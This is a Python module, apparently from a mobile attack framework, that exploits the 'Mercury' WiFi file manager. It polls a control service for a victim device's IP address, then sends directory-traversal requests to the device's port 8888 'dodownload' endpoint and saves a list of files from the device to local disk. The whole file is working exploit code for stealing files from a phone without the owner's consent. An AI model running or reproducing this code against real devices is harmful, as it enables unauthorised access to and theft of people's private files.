import requests
import time
import os
from framework.brains.exploits.browser.mercury.enum import MercuryEnum
from framework.logging.logger import Logger
from datetime import datetime
from blessings import Terminal
t = Terminal()


class MercuryWFM(object):

    name = "mercury"
    module = "wfm"

    def __init__(self):

        super(MercuryWFM, self).__init__()

    def exploit(self):

        """
        Handle exploit operations
        """
        ip = None

        while True:
            with open("".join([os.getcwd(), "/framework/config"]), "r") as f:
                web_service = "http://{0}:5000/exploits/mercury/wfm/check".format(f.readline().strip("\n"))
                f.close()

            print(t.green("[{0}] ".format(datetime.now()) +
                          t.yellow("Polling ...")))
            try:
                r = requests.get(web_service)
                if r.text == "Not Engaged":
                    time.sleep(2)
                    continue
                else:
                    # Response should contain
                    # device IP address
                    #
                    ip = r.text
                    print(t.green("[{0}] ".format(datetime.now())) + t.yellow("Exploit ready! Target IP : ") + ip)
                    break
            except requests.HTTPError as e:
                raise e
            except requests.ConnectionError as e:
                raise e

        # Setup requests
        # parameters
        #
        url = "".join(["http://{0}:8888/dodownload?fname=".format(ip), MercuryEnum().dir_trav_path])
        headers = {"Referer": "http://{0}:8888/".format(ip)}

        try:
            for f in MercuryEnum.files:
                print(t.green("[{0}] ".format(datetime.now()) + t.yellow("Retrieving ") + "{0}".format(f)))
                local = "".join([os.getcwd(), MercuryEnum.download_dir, f.split("/")[-1]])
                r = requests.get("".join([url, f]), headers=headers, stream=True)
                if r.status_code == 200:
                    with open(local, "wb") as l:
                        for data in r.iter_content(chunk_size=1024):
                            l.write(data)
                            l.flush()
        except requests.HTTPError as e:
            print(t.red("[{0}] ".format(datetime.now()) + "Http error, check logs!"))
            Logger.run_logger(e.message)
        except requests.ConnectionError as e:
            print(t.red("[{0}] ".format(datetime.now()) + "Connection error, check logs!"))
            # Unicode error
            #
            Logger.run_logger(e.message[0])